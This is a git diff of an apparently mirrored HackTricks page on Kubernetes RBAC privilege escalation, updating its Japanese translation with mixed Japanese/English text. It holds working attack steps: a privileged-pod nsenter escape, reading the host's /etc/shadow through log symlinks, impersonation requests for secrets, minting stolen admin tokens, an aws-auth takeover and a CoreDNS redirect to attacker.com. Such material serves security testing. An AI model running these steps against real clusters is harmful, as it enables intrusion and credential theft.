mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub
This commit is contained in:
@@ -1,23 +1,22 @@
|
||||
# KubernetesにおけるRoles/ClusterRolesの悪用
|
||||
# Abusing Roles/ClusterRoles in Kubernetes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
ここでは、潜在的に危険なRolesおよびClusterRolesの構成を見つけることができます。\
|
||||
`kubectl api-resources`を使用して、サポートされているすべてのリソースを取得できることを忘れないでください。
|
||||
ここでは、潜在的に危険な Roles および ClusterRoles の設定をいくつか紹介します。`kubectl api-resources` でサポートされているすべてのリソースを取得できることを忘れないでください。
|
||||
|
||||
## **特権昇格**
|
||||
## **Privilege Escalation**
|
||||
|
||||
**異なる特権を持つ別のプリンシパルにアクセスする**技術を指します(Kubernetesクラスター内または外部クラウドへのアクセス)。Kubernetesでは、特権を昇格させるための**4つの主要な技術**があります:
|
||||
ここで言う「Privilege Escalation」は、現在持っているものとは異なる特権を持つクラスター内の別の principal(kubernetes cluster 内または外部のクラウドへの)にアクセスする技術を指します。Kubernetes では、権限を昇格させる主な手法が基本的に**4つ**あります:
|
||||
|
||||
- Kubernetesクラスター内または外部クラウドで、より良い特権を持つ他のユーザー/グループ/サービスアカウントを**なりすます**ことができる
|
||||
- Kubernetesクラスター内または外部クラウドで、より良い特権を持つサービスアカウントを**見つけたり、アタッチしたりする**ことができる**ポッドを作成/パッチ/実行**できる
|
||||
- サービスアカウントのトークンがシークレットとして保存されているため、**シークレットを読む**ことができる
|
||||
- コンテナからノードに**エスケープ**できること、これによりノード上で実行されているコンテナのすべてのシークレット、ノードの資格情報、およびノードが実行されているクラウド内でのノードの権限を盗むことができる
|
||||
- 言及に値する5番目の技術は、ポッド内で**ポートフォワードを実行**する能力です。これにより、そのポッド内の興味深いリソースにアクセスできる可能性があります。
|
||||
- より高い特権を持つ他の user/groups/SAs を **impersonate** できること(kubernetes cluster 内や外部クラウドで)
|
||||
- より高い特権を持つ SAs を **find or attach** できるような **create/patch/exec pods** を作成できること(kubernetes cluster 内や外部クラウドで)
|
||||
- SAs のトークンが secrets として保存されているため、**read secrets** できること
|
||||
- コンテナから **escape to the node** できること。ノード上で動作するコンテナのすべての secrets、ノードの認証情報、および(存在する場合は)ノードが動作しているクラウド内でのノードの権限を盗むことができます
|
||||
- 触れておくべきもう一つの手法として、pod 内で **run port-forward** できる能力があり、これによりその pod 内の興味深いリソースへアクセスできる可能性があります。
|
||||
|
||||
### 任意のリソースまたは動詞へのアクセス(ワイルドカード)
|
||||
### Access Any Resource or Verb (Wildcard)
|
||||
|
||||
**ワイルドカード(*)は、任意の動詞を持つ任意のリソースに対する権限を与えます**。これは管理者によって使用されます。ClusterRole内では、攻撃者がクラスター内の任意の名前空間を悪用できることを意味します。
|
||||
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse any namespace in the cluster
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -29,13 +28,13 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### 特定の動詞で任意のリソースにアクセスする
|
||||
### 特定の動詞で任意のリソースにアクセス
|
||||
|
||||
RBACでは、特定の権限が重大なリスクをもたらします:
|
||||
In RBAC, certain permissions pose significant risks:
|
||||
|
||||
1. **`create`:** 任意のクラスターリソースを作成する能力を付与し、特権昇格のリスクを伴います。
|
||||
2. **`list`:** すべてのリソースを一覧表示することを許可し、機密データが漏洩する可能性があります。
|
||||
3. **`get`:** サービスアカウントからシークレットにアクセスすることを許可し、セキュリティの脅威をもたらします。
|
||||
1. **`create`:** 任意のクラスタリソースを作成する権限を付与し、権限昇格のリスクを招く。
|
||||
2. **`list`:** すべてのリソースを列挙できるため、機密データのleakingにつながる可能性がある。
|
||||
3. **`get`:** サービスアカウントからシークレットにアクセスできるようになり、セキュリティ上の脅威となる。
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -49,9 +48,9 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
権限を持つ攻撃者がポッドを作成できる場合、特権のあるサービスアカウントをポッドにアタッチし、そのトークンを盗んでサービスアカウントを偽装することができます。実質的に権限を昇格させることになります。
|
||||
pod を作成する権限を持つ攻撃者は、特権のある Service Account を pod に割り当ててそのトークンを盗み、Service Account としてなりすますことができます。結果的に権限を昇格させることになります。
|
||||
|
||||
`bootstrap-signer`サービスアカウントのトークンを盗み、攻撃者に送信するポッドの例:
|
||||
Example of a pod that will steal the token of the `bootstrap-signer` service account and send it to the attacker:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -72,14 +71,14 @@ serviceAccountName: bootstrap-signer
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
```
|
||||
### Podの作成とエスケープ
|
||||
### Pod Create & Escape
|
||||
|
||||
以下は、コンテナが持つことができるすべての権限を示しています:
|
||||
以下は、コンテナが持ち得るすべての権限を示します:
|
||||
|
||||
- **特権アクセス**(保護を無効にし、能力を設定する)
|
||||
- **namespace hostIPCおよびhostPidを無効にする** これにより権限を昇格させることができます
|
||||
- **hostNetwork** namespaceを無効にし、ノードのクラウド権限を盗むためのアクセスとネットワークへのより良いアクセスを提供します
|
||||
- **ホストをコンテナ内にマウントする**
|
||||
- **Privileged access** (保護の無効化や capabilities の設定)
|
||||
- **Disable namespaces hostIPC and hostPid** (権限昇格に利用される可能性がある)
|
||||
- **Disable hostNetwork** namespace (ノードの cloud privileges を奪うアクセスやネットワークへのより広いアクセスを可能にする)
|
||||
- **Mount hosts / inside the container** (ホストの / をコンテナ内にマウントする)
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -115,19 +114,19 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
ポッドを作成するには:
|
||||
次の内容で pod を作成する:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
このツイートからのワンライナーといくつかの追加:
|
||||
このワンライナーは [this tweet](https://twitter.com/mauilion/status/1129468485480751104) からのもので、いくつかの追加を加えています:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
今、ノードにエスケープできるようになったので、ポストエクスプロイト技術を確認してください。
|
||||
Now that you can escape to the node check post-exploitation techniques in:
|
||||
|
||||
#### ステルス
|
||||
#### Stealth
|
||||
|
||||
おそらく、あなたは**ステルス性**を高めたいと思っているでしょう。次のページでは、前のテンプレートで言及された特権の一部を有効にしてポッドを作成した場合にアクセスできる内容を確認できます。
|
||||
You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -136,24 +135,24 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_前述の特権ポッド構成を作成/悪用する方法の例は_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _で見つけることができます。_
|
||||
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### ポッド作成 - クラウドに移動
|
||||
### Pod の作成 — クラウドへ移動
|
||||
|
||||
**ポッド**(およびオプションで**サービスアカウント**)を**作成**できる場合、**ポッドまたはサービスアカウントにクラウドロールを割り当てることによってクラウド環境で特権を取得**できるかもしれません。そして、それにアクセスします。\
|
||||
さらに、**ホストネットワーク名前空間**を持つ**ポッドを作成**できる場合、**ノード**インスタンスのIAMロールを**盗む**ことができます。
|
||||
もし **pod** を **create**(オプションで **service account**)できる場合、**pod または service account に cloud roles を割り当て**てアクセスすることで、**クラウド環境の権限を取得**できる可能性があります。\
|
||||
さらに、**host network namespace を持つ pod** を作成できれば、**node インスタンスの IAM ロールを steal** することができます。
|
||||
|
||||
詳細については、次を確認してください:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### **デプロイメント、デーモンセット、ステートフルセット、レプリケーションコントローラー、レプリカセット、ジョブ、Cronジョブの作成/パッチ**
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
これらの権限を悪用して、**新しいポッドを作成**し、前の例のように特権を確立することが可能です。
|
||||
これらの権限を悪用して **new pod を create** し、前述の例のように権限を昇格させることが可能です。
|
||||
|
||||
次のyamlは**デーモンセットを作成し、ポッド内のSAのトークンを外部に送信**します:
|
||||
The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -191,32 +190,32 @@ path: /
|
||||
```
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`** は、**ポッド内のシェルでコマンドを実行するために使用されるkubernetesのリソース**です。これにより、**コンテナ内でコマンドを実行したり、シェルに入ったりすることができます**。
|
||||
**`pods/exec`** は kubernetes のリソースで、**pod 内のシェルでコマンドを実行するため**に使われます。これにより、**コンテナ内でコマンドを実行したり、シェルを取得したり**することができます。
|
||||
|
||||
したがって、**ポッドに入ってSAのトークンを盗んだり、特権ポッドに入ってノードに脱出し、ノード内のすべてのポッドのトークンを盗んでノードを(悪用)することが可能です**。
|
||||
したがって、**pod に入り込み SA のトークンを盗む**ことや、特権 pod に入って node に脱出し、node 上のすべての pod のトークンを盗んで (ab)use the node が可能です:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> デフォルトでは、コマンドはポッドの最初のコンテナで実行されます。`kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'`を使用して**コンテナ内のすべてのポッドを取得**し、次に`kubectl exec -it <pod_name> -c <container_name> -- sh`を使用して**実行したいコンテナを指定**します。
|
||||
> デフォルトではコマンドは pod の最初のコンテナで実行されます。pod 内のすべてのコンテナ名を `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` で取得し、実行したいコンテナを `kubectl exec -it <pod_name> -c <container_name> -- sh` で指定してください。
|
||||
|
||||
もしそれがディストロレスコンテナであれば、**シェルビルトイン**を使用してコンテナの情報を取得したり、**busybox**のような自分のツールをアップロードすることを試みることができます。使用方法は、**`kubectl cp </path/local/file> <podname>:</path/in/container>`**です。
|
||||
もし distroless container の場合は、コンテナの情報を取得するためにシェルの組み込みコマンド(shell builtins)を試すか、`kubectl cp </path/local/file> <podname>:</path/in/container>` を使って **busybox** のようなツールをアップロードすることを試してみてください。
|
||||
|
||||
### port-forward
|
||||
|
||||
この権限は、**ローカルの1つのポートを指定されたポッドの1つのポートに転送**することを許可します。これは、ポッド内で実行されているアプリケーションを簡単にデバッグできるようにするためのものですが、攻撃者はこれを悪用して、ポッド内の興味深い(データベースなど)または脆弱なアプリケーション(ウェブなど)にアクセスする可能性があります。
|
||||
この権限は、**ローカルの1つのポートを指定した pod 内の1つのポートに転送する**ことを許可します。これは pod 内で動作するアプリケーションを簡単にデバッグできるようにするためのものですが、攻撃者がこれを悪用して pod 内の興味深い(like DBs)や脆弱なアプリケーション(webs?)にアクセスする可能性があります:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### ホストの書き込み可能な /var/log/ エスケープ
|
||||
### ホストが書き込み可能な /var/log/ Escape
|
||||
|
||||
[**この研究で示されているように**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)、**ホストの `/var/log/` ディレクトリがマウントされた**ポッドにアクセスまたは作成できる場合、**コンテナからエスケープ**することができます。\
|
||||
これは基本的に、**Kube-APIがコンテナのログを取得しようとする際**(`kubectl logs <pod>`を使用)、**ポッドの `0.log`** ファイルを**Kubelet**サービスの `/logs/` エンドポイントを使用してリクエストするためです。\
|
||||
Kubeletサービスは、基本的に**コンテナの `/var/log` ファイルシステムを公開する** `/logs/` エンドポイントを公開しています。
|
||||
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)、もし **hosts `/var/log/` directory mounted** がある pod にアクセスまたは作成できれば、**escape from the container** が可能です.\
|
||||
これは主に、コンテナのログを取得しようとする際(`kubectl logs <pod>` を使用して)、**Kube-API tries to get the logs** が Kubelet サービスの `/logs/` エンドポイントを通してポッドの `0.log` ファイルを要求するためです.\
|
||||
Kubelet サービスは `/logs/` エンドポイントを公開しており、これは基本的にコンテナの `/var/log` ファイルシステムを **exposing the `/var/log` filesystem of the container** しています。
|
||||
|
||||
したがって、**コンテナの /var/log/ フォルダーに書き込むアクセス権を持つ攻撃者**は、この動作を2つの方法で悪用することができます:
|
||||
したがって、コンテナの **access to write in the /var/log/ folder** を持つ攻撃者は、この挙動を次の2つの方法で悪用できます:
|
||||
|
||||
- コンテナの `0.log` ファイル(通常は `/var/logs/pods/namespace_pod_uid/container/0.log` にあります)を**`/etc/shadow` を指すシンボリックリンク**に変更します。そうすれば、ホストのシャドウファイルをエクスフィルトレートすることができます:
|
||||
- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -224,7 +223,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- 攻撃者が **`nodes/log` を読む権限を持つ任意のプリンシパルを制御している場合**、彼は単に `/host-mounted/var/log/sym` に `/` への **シンボリックリンク** を作成し、**`https://<gateway>:10250/logs/sym/` にアクセスすることでホストのルート** ファイルシステムをリスト表示することができます(シンボリックリンクを変更することでファイルへのアクセスが可能になります)。
|
||||
- 攻撃者が任意のプリンシパルを制御しており、**`nodes/log` を読む権限**を持っている場合、`/host-mounted/var/log/sym` に `/` への **symlink** を作成し、**`https://<gateway>:10250/logs/sym/` にアクセスするとホストのルートファイルシステムが一覧表示されます**(symlink を変更することでファイルへアクセスできます)。
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -236,23 +235,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
**実験室と自動化されたエクスプロイトは** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) **で見つけることができます。**
|
||||
**ラボと自動化された exploit は以下で確認できます** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### 読み取り専用保護の回避 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### readOnly 保護のバイパス <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
運が良ければ、高度な特権を持つ能力 `CAP_SYS_ADMIN` が利用可能であれば、フォルダーをrwとして再マウントすることができます:
|
||||
もし `CAP_SYS_ADMIN`(高い特権)が利用可能であれば、フォルダを単に rw として remount できます:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### hostPathのreadOnly保護を回避する <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### hostPath readOnly 保護のバイパス <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
[**この研究**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)に記載されているように、保護を回避することが可能です:
|
||||
[**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) に記載されているように、保護をバイパスすることが可能です:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
以前のようなエスケープを防ぐために、hostPath マウントの代わりに PersistentVolume と PersistentVolumeClaim を使用して、書き込み可能なアクセスでコンテナ内にホストフォルダをマウントすることを意図していました。
|
||||
これは、前述のようなエスケープを防ぐために、hostPath mount を使う代わりに PersistentVolume と PersistentVolumeClaim を使用して、ホストのフォルダをコンテナに書き込み可能な状態でマウントすることを意図したものです:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -300,14 +299,14 @@ name: task-pv-storage-vol
|
||||
```
|
||||
### **特権アカウントのなりすまし**
|
||||
|
||||
[**ユーザーのなりすまし**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation)の権限を持つ攻撃者は、特権アカウントになりすますことができます。
|
||||
[**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 権限があれば、攻撃者は特権アカウントになりすますことができます。
|
||||
|
||||
`kubectl` コマンドで `--as=<username>` パラメータを使用してユーザーになりすますか、`--as-group=<group>` を使用してグループになりすますだけです:
|
||||
ユーザーをなりすますには `kubectl` コマンドでパラメータ `--as=<username>` を使用し、グループをなりすますには `--as-group=<group>` を使用します:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
```
|
||||
またはREST APIを使用します:
|
||||
または REST API を使用する:
|
||||
```bash
|
||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Impersonate-Group: system:masters"\
|
||||
@@ -315,16 +314,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Secretsのリスト
|
||||
### Listing Secrets
|
||||
|
||||
**シークレットをリストする権限は、攻撃者が実際にシークレットを読み取ることを可能にする可能性があります** REST APIエンドポイントにアクセスすることで:
|
||||
この権限により、REST API endpoint にアクセスして **list secrets によって attacker が実際に secrets を読み取れる** 可能性があります:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Secrets の作成と読み取り
|
||||
|
||||
**kubernetes.io/service-account-token**タイプのKubernetesシークレットの特別な種類があり、サービスアカウントトークンを保存します。
|
||||
シークレットを作成および読み取る権限があり、サービスアカウントの名前も知っている場合、次のようにシークレットを作成し、そこから被害者のサービスアカウントトークンを盗むことができます:
|
||||
serviceaccount tokens を格納する、タイプが **kubernetes.io/service-account-token** の特別な Kubernetes secret があります。
|
||||
もし secrets を作成および読み取りする権限があり、かつ対象の serviceaccount の名前がわかっている場合、以下のように secret を作成して、その中から被害者の serviceaccount トークンを盗むことができます:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -335,7 +334,7 @@ annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
例の悪用:
|
||||
exploitation の例:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
@@ -383,17 +382,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
注意してください。特定の名前空間でシークレットを作成および読み取ることが許可されている場合、被害者のサービスアカウントも同じ名前空間に存在する必要があります。
|
||||
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
|
||||
|
||||
### シークレットの読み取り – トークンIDのブルートフォース攻撃
|
||||
### Reading a secret – brute-forcing token IDs
|
||||
|
||||
読み取り権限を持つトークンを所持している攻撃者は、それを使用するためにシークレットの正確な名前が必要ですが、より広範な_**シークレットのリスト表示**_権限とは異なり、依然として脆弱性があります。システム内のデフォルトのサービスアカウントは列挙可能で、それぞれがシークレットに関連付けられています。これらのシークレットは、静的なプレフィックスの後にランダムな5文字の英数字トークン(特定の文字を除く)を持つ名前の構造を持っています。[ソースコード](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)によると。
|
||||
読み取り権限を持つtokenを所持する攻撃者は、より広範な _**listing secrets**_ 権限とは異なり、そのsecretを利用するために正確な名前が必要ですが、それでも脆弱性は残っています。システム内のデフォルトのserviceaccountは列挙可能で、それぞれがsecretに紐づいています。これらのsecretは名前の構造が決まっており、静的なプレフィックスの後にランダムな5文字の英数字トークン(特定の文字を除く)が続きます。詳細は[source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)を参照してください。
|
||||
|
||||
トークンは、フルアルファベット範囲ではなく、限られた27文字のセット(`bcdfghjklmnpqrstvwxz2456789`)から生成されます。この制限により、合計可能な組み合わせは14,348,907(27^5)に減少します。したがって、攻撃者は数時間でトークンを推測するためのブルートフォース攻撃を実行することが現実的であり、機密性の高いサービスアカウントにアクセスすることによって特権の昇格につながる可能性があります。
|
||||
このトークンは完全な英数字範囲ではなく、限定された27文字セット(`bcdfghjklmnpqrstvwxz2456789`)から生成されます。この制約により組み合わせ総数は14,348,907(27^5)にまで減少します。したがって、攻撃者は数時間でブルートフォース攻撃によりトークンを推測できる可能性があり、機密性の高いservice accountへアクセスして権限昇格を引き起こす恐れがあります。
|
||||
|
||||
### EncrpytionConfiguration の平文
|
||||
|
||||
この種のオブジェクト内でデータを静止状態で暗号化するための平文キーを見つけることが可能です。
|
||||
この種のオブジェクト内で、at rest のデータを暗号化するための平文キーを見つけることが可能です。例えば:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
@@ -450,13 +449,13 @@ keys:
|
||||
- name: key3
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### 証明書署名要求
|
||||
### 証明書署名リクエスト
|
||||
|
||||
リソース `certificatesigningrequests` に **`create`** の動詞がある場合(または少なくとも `certificatesigningrequests/nodeClient` に)。新しいノードの **CeSR** を **作成** できます。
|
||||
リソース`certificatesigningrequests`(または少なくとも`certificatesigningrequests/nodeClient`)に対して**`create`**の動詞がある場合、**new node**の新しいCeSRを**create**できます。
|
||||
|
||||
[ドキュメントによると、この要求を自動承認することが可能です](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)、その場合は **追加の権限は必要ありません**。そうでない場合は、要求を承認できる必要があり、これは `certificatesigningrequests/approval` の更新と、リソース名 `<signerNameDomain>/<signerNamePath>` または `<signerNameDomain>/*` での `signers` での承認を意味します。
|
||||
According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)、その場合は追加の権限は**必要ありません**。そうでない場合はリクエストを承認できる必要があり、つまり`certificatesigningrequests/approval`での`update`と、resourceNameが`<signerNameDomain>/<signerNamePath>`または`<signerNameDomain>/*`である`signers`に対する`approve`が必要になります。
|
||||
|
||||
必要なすべての権限を持つ **ロールの例** は次のとおりです:
|
||||
必要な権限をすべて含むロールの**例**は:
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -487,19 +486,19 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
新しいノードCSRが承認されたので、ノードの特別な権限を**悪用**して**秘密を盗み**、**権限を昇格**させることができます。
|
||||
つまり、新しい node CSR が承認されると、ノードの特別な権限を **abuse** して **steal secrets** や **escalate privileges** を行うことができます。
|
||||
|
||||
[**この投稿**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)と[**こちら**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)では、GKE K8s TLSブートストラップ構成が**自動署名**で設定されており、新しいK8sノードの資格情報を生成するために悪用され、その後、秘密を盗むことで権限を昇格させるためにそれらを悪用します。\
|
||||
**言及された権限を持っていれば、同じことができます**。最初の例は、新しいノードがコンテナ内の秘密にアクセスするのを防ぐエラーを回避します。なぜなら、**ノードは自分にマウントされたコンテナの秘密にしかアクセスできないからです。**
|
||||
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.\
|
||||
If you **have the mentioned privileges yo could do the same thing**. Note that the first example bypasses the error preventing a new node to access secrets inside containers because a **node can only access the secrets of containers mounted on it.**
|
||||
|
||||
これを回避する方法は、**興味のある秘密がマウントされているコンテナのノード名のためにノード資格情報を作成すること**です(ただし、最初の投稿でそれを行う方法を確認してください):
|
||||
これを回避する方法は単純で、興味深い secrets がマウントされているコンテナの node 名に対して **create a node credentials for the node name where the container with the interesting secrets is mounted** を作成することだけです(方法は最初の post を参照してください):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
EKS クラスターの kube-system 名前空間で **`configmaps`** を変更できるプリンシパルは、**aws-auth** configmap を上書きすることでクラスター管理者権限を取得できます。\
|
||||
必要な動詞は **`update`** と **`patch`** であり、configmap が作成されていない場合は **`create`** です:
|
||||
EKS(AWS 上にある必要があります)クラスターの kube-system namespace 内の **`configmaps`** を変更できるプリンシパルは、**aws-auth** configmap を上書きすることでクラスタ管理者権限を取得できます。\
|
||||
必要な操作は **`update`** と **`patch`**、configmap が作成されていない場合は **`create`** です:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -539,18 +538,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> **`aws-auth`**を使用して、**他のアカウント**のユーザーにアクセスを提供することで**持続性**を確保できます。
|
||||
> **`aws-auth`** を **永続化** として使用し、**他のアカウント** からのユーザーにアクセスを与えることができます。
|
||||
>
|
||||
> しかし、`aws --profile other_account eks update-kubeconfig --name <cluster-name>`は**異なるアカウントからは機能しません**。しかし実際には、`aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`は、名前の代わりにクラスターのARNを指定すれば機能します。\
|
||||
> `kubectl`を機能させるには、**被害者のkubeconfig**を**設定**し、aws exec argsに`--profile other_account_role`を追加するだけで、kubectlは他のアカウントのプロファイルを使用してトークンを取得し、AWSに連絡します。
|
||||
> ただし、`aws --profile other_account eks update-kubeconfig --name <cluster-name>` は **別アカウントからは動作しません**。しかし実際には、クラスター名の代わりにクラスターの ARN を指定すると `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` は動作します。\
|
||||
> `kubectl` を動作させるには、被害者の **kubeconfig** を **configure** し、aws exec の引数に `--profile other_account_role` を追加して、kubectl がトークン取得と AWS への接続で他アカウントのプロファイルを使用するようにしてください。
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
`kube-system`ネームスペース内の**`coredns` configmap**を変更する権限がある場合、ドメインが解決されるアドレスを変更して、**機密情報を盗むまたは悪意のあるコンテンツを注入する**ためのMitM攻撃を実行できます。
|
||||
If you have the permissions to modify the **`coredns` configmap** in the `kube-system` namespace, you can modify the address domains will be resolved to in order to be able to perform MitM attacks to **steal sensitive information or inject malicious content**.
|
||||
|
||||
必要な動詞は、**`coredns`** configmap(またはすべてのconfigmap)に対する**`update`**と**`patch`**です。
|
||||
The verbs needed are **`update`** and **`patch`** over the **`coredns`** configmap (or all the config maps).
|
||||
|
||||
通常の**corednsファイル**には、次のような内容が含まれています:
|
||||
A regular **coredns file** contains something like this:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
@@ -580,58 +579,75 @@ reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
攻撃者は `kubectl get configmap coredns -n kube-system -o yaml` を実行してダウンロードし、`rewrite name victim.com attacker.com` のようなものを追加して修正することで、`victim.com` にアクセスされると実際には `attacker.com` がアクセスされるようにできます。そして、`kubectl apply -f poison_dns.yaml` を実行して適用します。
|
||||
